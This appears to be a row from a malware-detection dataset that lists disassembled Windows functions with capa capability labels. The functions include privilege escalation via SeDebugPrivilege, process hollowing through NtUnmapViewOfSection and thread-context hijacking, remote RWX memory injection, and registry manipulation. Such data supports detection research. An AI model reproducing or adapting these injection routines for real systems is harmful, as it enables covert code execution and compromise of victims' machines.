joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180009290
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x10], rdx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x290
mov ebp, ecx
mov r13, r8
mov rbx, rdx
xor r14d, r14d
lea rcx, [rsp + 0x54]
mov esi, 1
xor edx, edx
mov r8d, 0x234
mov r12, r9
mov edi, 6
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x50], r14d
call fcn.1800294f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
lea edx, [rdi + 0x22]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180009360
xor eax, eax
lea r8, [rsp + 0x44]
lea rdx, str.SeDebugPrivilege
mov dword [rsp + 0x4c], eax
xor ecx, ecx
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x44], rax
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x180009355
mov rcx, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
test rax, rax
je 0x180009483
lea rdx, [0x18003fab8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.Process32FirstW
mov rcx, r15
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.Process32NextW
mov rcx, r15
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov rax, qword [rsp + 0x40]
test rax, rax
je 0x18000946f
test r14, r14
je 0x18000946f
test rsi, rsi
je 0x18000946f
xor edx, edx
lea ecx, [rdx + 2]
call rax
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180009459
lea rdx, [rsp + 0x50]
mov rcx, rax
mov dword [rsp + 0x50], 0x238
call r14
test eax, eax
je 0x180009459
mov r14, qword [rsp + 0x2c8]
mov dword [rsp + 0x30], 0
nop dword [rax + rax]
mov ecx, dword [rsp + 0x58]
call fcn.180009160
cmp ebp, eax
jne 0x18000944b
lea rdx, str.csrss.exe
lea rcx, [rsp + 0x7c]
call fcn.18002b2a8
test rax, rax
jne 0x18000944b
mov ecx, dword [rsp + 0x58]
mov r9, r12
mov r8, r13
mov rdx, r14
call fcn.18000c0b0
mov edi, eax
test eax, eax
je 0x180009459
lea rdx, [rsp + 0x50]
mov rcx, rbx
call rsi
test eax, eax
jne 0x180009410
test rbx, rbx
je 0x180009467
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x2c8]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [rsp + 0x30], 0
jne 0x180009483
mov eax, edi
jmp 0x180009493
mov r9, r12
mov r8, r13
mov rdx, rbx
mov ecx, ebp
call fcn.1800094c0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180009e70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resume thread
Terminate process

Disassembly:
push rbx
push rbp
push r12
push r14
sub rsp, 0x58
mov eax, 0x5a4d
xor ebx, ebx
mov r14, r8
mov r12, rdx
mov rbp, rcx
cmp word [r8], ax
jne 0x18000a06f
mov eax, dword [r8 + 0x3c]
mov qword [rsp + 0x80], rsi
add eax, r8d
mov esi, eax
cmp dword [rax], 0x4550
jne 0x18000a06b
lea edx, [rbx + 0xc]
lea r9d, [rbx + 4]
xor ecx, ecx
mov r8d, 0x1000
mov qword [rsp + 0x48], r13
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea edx, [rbx + 4]
mov ecx, eax
call fcn.18000a090
mov rcx, r12
mov rdx, rax
mov r13, rax
mov dword [rax + 0x30], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x18000a067
mov rdx, qword [r13 + 0x88]
lea rax, [rsp + 0x30]
lea r9d, [rbx + 8]
lea r8, [rsp + 0x98]
mov rcx, rbp
add rdx, 0x10
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180009f52
mov rdx, qword [rsp + 0x98]
mov rcx, rbp
call rax
mov r8d, dword [rsi + 0x50]
mov rdx, qword [rsi + 0x30]
mov r9d, 0x3000
mov rcx, rbp
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, rbp
mov r15, rax
test rax, rax
je 0x18000a05b
mov r9d, dword [rsi + 0x54]
lea rax, [rsp + 0x90]
mov r8, r14
mov rdx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ecx, word [rsi + 0x14]
cmp bx, word [rsi + 6]
jae 0x180009fec
mov qword [rsp + 0x50], rdi
lea rdi, [rsi + 0x2c]
add rdi, rcx
mov r8d, dword [rdi]
mov edx, dword [rdi - 8]
mov r9d, dword [rdi - 4]
lea rax, [rsp + 0x90]
add r8, r14
add rdx, r15
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rsi + 6]
inc ebx
lea rdi, [rdi + 0x28]
cmp ebx, eax
jl 0x180009fb3
mov rdi, qword [rsp + 0x50]
mov rdx, qword [r13 + 0x88]
lea rax, [rsp + 0x90]
lea r8, [rsi + 0x30]
mov r9d, 8
mov rcx, rbp
add rdx, 0x10
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rsi + 0x28]
add rax, r15
mov rdx, r13
mov rcx, r12
mov qword [r13 + 0x80], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov r15, qword [rsp + 0x40]
mov r13, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x80]
add rsp, 0x58
pop r14
pop r12
pop rbp
pop rbx
ret
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, ebx
jmp 0x18000a03e
mov eax, ebx
jmp 0x18000a043
mov eax, ebx
jmp 0x18000a048
mov eax, ebx
add rsp, 0x58
pop r14
pop r12
pop rbp
pop rbx
ret
Function at 0x18000de10
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rbx, qword [r8]
xor esi, esi
mov r14d, r9d
mov rdi, r8
mov rbp, rcx
test dl, dl
je 0x18000de5d
mov r8d, r14d
xor edx, edx
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x18000de5d
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000deaf
mov r8, qword [rdi]
lea rax, [rsp + 0x60]
mov r9, r14
mov rdx, rbx
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000de55
mov r9d, dword [rsp + 0x70]
cmp r9d, 0x40
je 0x18000dead
lea rax, [rsp + 0x58]
mov r8, r14
mov rdx, rbx
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x18000dead
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, esi
mov rbp, qword [rsp + 0x68]
mov qword [rdi], rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret

Function at 0x18000eb80
Capabilities:
Query or enumerate registry key

Disassembly:
push rbp
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x180057380]
mov r15, rcx
mov rcx, rdx
mov rbp, r8
call qword [rax + 0xe0]
mov r14, rax
test rax, rax
je 0x18000ed05
mov qword [rsp + 0x90], rbx
mov ebx, 0x57
test rbp, rbp
je 0x18000ece8
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x60], r12
xor r12d, r12d
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbp
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov ebx, eax
test eax, eax
jne 0x18000ece3
mov ebx, dword [rsp + 0xa8]
mov qword [rsp + 0x98], rsi
lea edx, [rax + 2]
inc ebx
mov qword [rsp + 0x68], rdi
mov esi, r12d
mov ecx, ebx
mov dword [rsp + 0xa8], ebx
call fcn.180028d44
mov rdi, rax
test rax, rax
jne 0x18000ec4f
lea ebx, [rax + 8]
jmp 0x18000ecd6
mov r9d, ebx
mov r8, rax
xor edx, edx
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov ebx, eax
test eax, eax
jne 0x18000ecc4
nop word [rax + rax]
mov rax, qword [0x180057380]
mov rcx, rdi
call qword [rax + 0x2e0]
mov rbx, rax
test rax, rax
je 0x18000eca6
mov r9, qword [0x180057380]
mov r8, rax
mov edx, 0x103eb
mov rcx, r14
call qword [r9 + 0x50]
mov rcx, rbx
call fcn.180028d88
mov r9d, dword [rsp + 0xa8]
inc esi
mov r8, rdi
mov edx, esi
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov ebx, eax
test eax, eax
je 0x18000ec70
cmp ebx, 0x103
mov rcx, rdi
cmove ebx, r12d
call fcn.180028d88
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x98]
mov r12, qword [rsp + 0x60]
mov rax, qword [0x180057380]
mov r8, r14
mov rdx, r15
mov ecx, ebx
call qword [rax + 0xc0]
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop r15
pop r14
pop rbp
ret
Function at 0x18000ed20
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x180057380]
mov r15, rcx
mov rcx, rdx
mov rbp, r8
call qword [rax + 0xe0]
mov r14, rax
test rax, rax
je 0x18000eee1
mov qword [rsp + 0xa0], rbx
mov ebx, 0x57
test rbp, rbp
je 0x18000eec4
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x70], r12
xor r12d, r12d
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbp
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov ebx, eax
test eax, eax
jne 0x18000eebf
mov ebx, dword [rsp + 0xb8]
mov qword [rsp + 0xa8], rsi
lea edx, [rax + 2]
inc ebx
mov qword [rsp + 0x78], rdi
mov esi, r12d
mov ecx, ebx
mov dword [rsp + 0xb8], ebx
call fcn.180028d44
mov rdi, rax
test rax, rax
jne 0x18000edf2
lea ebx, [rax + 8]
jmp 0x18000eeb2
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea r9, [rsp + 0x60]
mov r8, rax
xor edx, edx
mov rcx, rbp
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov ebx, eax
test eax, eax
jne 0x18000eea0
nop dword [rax]
nop word [rax + rax]
mov rax, qword [0x180057380]
mov rcx, rdi
call qword [rax + 0x2e0]
mov rbx, rax
test rax, rax
je 0x18000ee66
mov r9, qword [0x180057380]
mov r8, rax
mov edx, 0x103f2
mov rcx, r14
call qword [r9 + 0x50]
mov rcx, rbx
call fcn.180028d88
mov eax, dword [rsp + 0xb8]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
inc esi
lea r9, [rsp + 0x60]
mov r8, rdi
mov rcx, rbp
mov edx, esi
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x60], eax
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov ebx, eax
test eax, eax
je 0x18000ee30
cmp ebx, 0x103
mov rcx, rdi
cmove ebx, r12d
call fcn.180028d88
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0xa8]
mov r12, qword [rsp + 0x70]
mov rax, qword [0x180057380]
mov r8, r14
mov rdx, r15
mov ecx, ebx
call qword [rax + 0xc0]
mov rbx, qword [rsp + 0xa0]
add rsp, 0x80
pop r15
pop r14
pop rbp
ret
Function at 0x18000f380
Capabilities:
Set registry value

Disassembly:
push rbp
push rsi
push r12
push r15
sub rsp, 0x48
mov rax, qword [0x180057380]
mov r15, rcx
mov rcx, rdx
mov r12, r8
mov rsi, rdx
call qword [rax + 0xe0]
mov rbp, rax
test rax, rax
je 0x18000f4ea
mov qword [rsp + 0x70], rbx
mov rbx, qword [0x180057380]
mov edx, 0x103f2
mov rcx, rsi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x40], r14
call qword [rbx + 0xc8]
mov rcx, rax
call qword [rbx + 0x2d8]
mov r8, qword [0x180057380]
mov edx, 0x203f3
mov rcx, rsi
mov r14, rax
call qword [r8 + 0x100]
mov r9, qword [0x180057380]
lea r8, [rsp + 0x30]
mov edx, 0x403f4
mov rcx, rsi
mov edi, eax
call qword [r9 + 0x88]
test eax, eax
je 0x18000f421
mov edi, 0x57
jmp 0x18000f4be
test edi, edi
je 0x18000f489
cmp edi, 2
jbe 0x18000f45a
cmp edi, 7
jne 0x18000f489
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0x88]
mov qword [rsp + 0x88], rax
call fcn.18000f130
mov rbx, rax
mov rax, qword [rsp + 0x88]
jmp 0x18000f492
mov rax, qword [0x180057380]
mov rcx, qword [rsp + 0x38]
call qword [rax + 0x2d8]
mov rbx, rax
or rax, 0xffffffffffffffff
cmp word [rbx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x18000f473
lea rax, [rax*2 + 2]
jmp 0x18000f492
mov eax, dword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov dword [rsp + 0x28], eax
mov r9d, edi
xor r8d, r8d
mov rdx, r14
mov rcx, r12
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
cmp rbx, qword [rsp + 0x38]
je 0x18000f4be
mov rcx, rbx
call fcn.180028d88
mov rcx, r14
call fcn.180028d88
mov rax, qword [0x180057380]
mov r8, rbp
mov rdx, r15
mov ecx, edi
call qword [rax + 0xc0]
mov r14, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x48
pop r15
pop r12
pop rsi
pop rbp
ret
Function at 0x18000f500
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rdi
push r12
push r14
sub rsp, 0x48
mov rax, qword [0x180057380]
mov r12, rcx
mov rcx, rdx
mov r14, r8
mov rsi, rdx
call qword [rax + 0xe0]
mov rdi, rax
test rax, rax
je 0x18000f705
mov qword [rsp + 0x70], rbx
mov rbx, qword [0x180057380]
mov qword [rsp + 0x78], rbp
xor ebp, ebp
mov edx, 0x103f2
mov rcx, rsi
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x88], ebp
mov dword [rsp + 0x30], ebp
call qword [rbx + 0xc8]
mov rcx, rax
call qword [rbx + 0x2d8]
xor r9d, r9d
xor r8d, r8d
mov r15, rax
lea rax, [rsp + 0x88]
mov rcx, r14
mov qword [rsp + 0x28], rax
mov rdx, r15
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebp, eax
test eax, eax
jne 0x18000f6d9
mov ecx, dword [rsp + 0x88]
inc ecx
mov dword [rsp + 0x88], ecx
mov edx, ecx
lea ecx, [rax + 1]
call fcn.180028d44
mov rbx, rax
test rax, rax
je 0x18000f6d9
lea rax, [rsp + 0x88]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov rdx, r15
mov rcx, r14
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebp, eax
test eax, eax
jne 0x18000f6d9
mov rax, qword [0x180057380]
mov r8d, dword [rsp + 0x30]
mov edx, 0x203f3
mov rcx, rdi
call qword [rax + 0x58]
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x18000f6bc
cmp eax, 2
jbe 0x18000f684
cmp eax, 4
je 0x18000f66d
cmp eax, 7
jne 0x18000f6bc
mov eax, dword [rsp + 0x88]
lea rdx, [rsp + 0x38]
mov rcx, rbx
mov qword [rsp + 0x38], rax
call fcn.18000ef00
mov edx, 0x403f4
mov rsi, rax
mov rcx, rdi
test rax, rax
je 0x18000f6c4
mov r10, qword [0x180057380]
mov r9d, dword [rsp + 0x38]
mov r8, rax
call qword [r10 + 0x48]
mov rcx, rsi
call fcn.180028d88
jmp 0x18000f6d9
mov rax, qword [0x180057380]
mov r8d, dword [rbx]
mov edx, 0x403f4
mov rcx, rdi
call qword [rax + 0x58]
jmp 0x18000f6d9
mov rax, qword [0x180057380]
mov rcx, rbx
call qword [rax + 0x2e0]
mov edx, 0x403f4
mov rcx, rdi
mov rsi, rax
test rax, rax
je 0x18000f6c4
mov r9, qword [0x180057380]
mov r8, rax
call qword [r9 + 0x50]
mov rcx, rsi
call fcn.180028d88
jmp 0x18000f6d9
mov edx, 0x403f4
mov rcx, rdi
mov rax, qword [0x180057380]
mov r9d, dword [rsp + 0x88]
mov r8, rbx
call qword [rax + 0x48]
mov rcx, r15
call fcn.180028d88
mov rax, qword [0x180057380]
mov r8, rdi
mov rdx, r12
mov ecx, ebp
call qword [rax + 0xc0]
mov r15, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x48
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x180012d70
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
lea rcx, [0x180040b50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.psapi.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rbx, rbx
je 0x180012e69
test rax, rax
je 0x180012e69
test rdi, rdi
je 0x180012e69
lea rdx, str.QueryFullProcessImageNameW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180058960], rax
test rax, rax
jne 0x180012e0c
lea rcx, str.Psapi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180012e69
lea rdx, str.GetProcessImageFileNameW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180058968], rax
test rax, rax
je 0x180012e69
lea rdx, str.GetProcessImageFileNameW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180058968], rax
test rax, rax
je 0x180012e69
lea rdx, str.GetRawInputData
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x180058978], rax
test rax, rax
je 0x180012e63
lea rdx, str.RegisterRawInputDevices
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180058970], rax
test rax, rax
jne 0x180012e76
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180013030
Capabilities:
Log keystrokes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
xor eax, eax
movzx ebx, cx
mov edi, edx
mov qword [rsp + 0x30], rax
xor edx, edx
mov ecx, ebx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x30], eax
call qword [sym.imp.USER32.dll_MapVirtualKeyA]
mov r8d, 0x28
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x38], 0
lea ecx, [r8 - 0x27]
mov word [rsp + 0x2a], ax
mov word [rsp + 0x28], bx
mov dword [rsp + 0x2c], edi
call qword [sym.imp.USER32.dll_SendInput]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x1800133b0
Capabilities:
Check if file exists
Delete file
Extract resource via kernel32 functions
Get file attributes
Query environment variable
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x420
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x400
xor ebx, ebx
call fcn.1800294f0
lea rdx, [rsp + 0x20]
lea rcx, [0x180040bc8]
mov r8d, 0x3ff
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rcx, qword [0x180057378]
lea r8, [0x180040bd8]
lea edx, [rbx + 0x65]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
jne 0x18001341f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbx, qword [rsp + 0x440]
add rsp, 0x420
pop rdi
ret
mov rcx, qword [0x180057378]
mov rdx, rax
mov qword [rsp + 0x430], rbp
mov qword [rsp + 0x438], rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, qword [0x180057378]
mov rdx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
lea rcx, [rsp + 0x20]
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1800134b6
lea rdx, [0x180040bdc]
lea rcx, [rsp + 0x20]
call fcn.18002b9b4
mov rdi, rax
test rax, rax
je 0x1800134ae
mov r8d, ebp
mov r9, rax
mov edx, 1
mov rcx, rsi
call fcn.18002a8c8
mov rcx, rdi
call fcn.180029f34
jmp 0x1800134b6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, qword [rsp + 0x438]
mov rbp, qword [rsp + 0x430]
mov qword [0x1800575e8], rax
test rax, rax
jne 0x1800134e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov eax, ebx
mov rbx, qword [rsp + 0x440]
add rsp, 0x420
pop rdi
ret
Function at 0x1800197b0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
xor esi, esi
mov rdi, rcx
mov qword [rcx + 8], rsi
call fcn.180019ab0
mov edx, 0x98
mov rcx, rdi
mov dword [rsp + 0x38], eax
call fcn.180019a90
mov rbx, rax
test rax, rax
jne 0x180019806
mov rcx, rdi
call fcn.18001c4c0
mov rcx, qword [rdi]
mov dword [rcx + 0x28], 0x38
mov rcx, qword [rdi]
mov dword [rcx + 0x2c], esi
mov rdx, qword [rdi]
mov rcx, rdi
call qword [rdx]
mov dword [rbx + 0x5c], 0x3b9aca00
lea rax, [fcn.180018fc0]
lea rcx, str.JPEGMEM
mov qword [rbx], rax
lea rax, [fcn.180018e10]
mov qword [rbx + 8], rax
lea rax, [fcn.180018ee0]
mov qword [rbx + 0x10], rax
lea rax, [fcn.180018d20]
mov qword [rbx + 0x18], rax
lea rax, [0x1800196b0]
mov qword [rbx + 0x20], rax
lea rax, [0x180019600]
mov qword [rbx + 0x28], rax
lea rax, [0x180019420]
mov qword [rbx + 0x30], rax
lea rax, [0x180018bc0]
mov qword [rbx + 0x38], rax
lea rax, [0x180018a50]
mov qword [rbx + 0x40], rax
lea rax, [fcn.1800192b0]
mov qword [rbx + 0x48], rax
lea rax, [0x180019760]
mov qword [rbx + 0x50], rax
mov eax, dword [rsp + 0x38]
mov dword [rbx + 0x58], eax
mov qword [rbx + 0x68], rsi
mov qword [rbx + 0x78], rsi
mov qword [rbx + 0x60], rsi
mov qword [rbx + 0x70], rsi
mov qword [rbx + 0x80], rsi
mov qword [rbx + 0x88], rsi
mov dword [rbx + 0x90], 0x98
mov qword [rdi + 8], rbx
call fcn.18002d1d0
test rax, rax
je 0x18001990d
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x38]
lea rdx, str._ld_c
mov rcx, rax
mov byte [rsp + 0x30], 0x78
call fcn.18002d23c
test eax, eax
jle 0x18001990d
movzx eax, byte [rsp + 0x30]
sub al, 0x4d
test al, 0xdf
jne 0x180019900
imul eax, dword [rsp + 0x38], 0x3e8
jmp 0x180019904
mov eax, dword [rsp + 0x38]
imul eax, eax, 0x3e8
mov dword [rbx + 0x58], eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x18002c9d8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.18002c840
Function at 0x140002720
Capabilities:
Set console window title

Disassembly:
sub rsp, 0x28
lea rcx, [0x1400dd208]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
lea rcx, [0x1402425f0]
call fcn.140009e30
call fcn.140063f60
mov eax, dword [rax + 0x70]
add rsp, 0x28
ret
Function at 0x14000f610
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x14000f631
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000f65e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14000f660
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14000f6b9
test ecx, ecx
jle 0x14000f699
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14000f6b9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14000f6b9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
add byte [rax], al
call 0x14022469c